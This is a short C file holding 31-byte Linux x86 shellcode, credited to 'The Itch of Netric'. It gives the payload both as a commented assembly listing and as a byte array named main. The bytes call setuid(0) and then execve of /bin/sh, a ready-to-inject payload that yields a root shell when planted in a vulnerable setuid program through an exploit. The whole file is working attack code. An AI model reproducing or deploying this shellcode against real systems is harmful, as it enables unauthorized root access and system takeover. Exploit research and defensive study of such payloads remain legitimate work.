/*
 * linux x86 shellcode(31 bytes) by The Itch of Netric (www.netric.org)
 * setuid(0); execve("/bin/sh",0);
 *
__asm__("


  xorl    %eax,%eax
  xorl    %ebx,%ebx
  movb    $0x17,%al
  int    $0x80
        
  xorl %eax,%eax
  push %eax
  pushl   $0x68732f6e
  pushl   $0x69622f2f
  mov %esp, %ebx
  push %eax
  push %ebx
  mov %esp,%ecx
  movb $0xb, %al
  int $0x80

");
*/

char main[] =
  "\x31\xc0\x31\xdb\xb0\x17\xcd\x80" /* setuid(0); */

  "\x31\xc0\x50\x68\x6e\x2f\x73\x68" /* execve() of /bin/sh */ 
  "\x68\x2f\x2f\x62\x69\x89\xe3\x50"
  "\x53\x89\xe1\xb0\x0b\xcd\x80";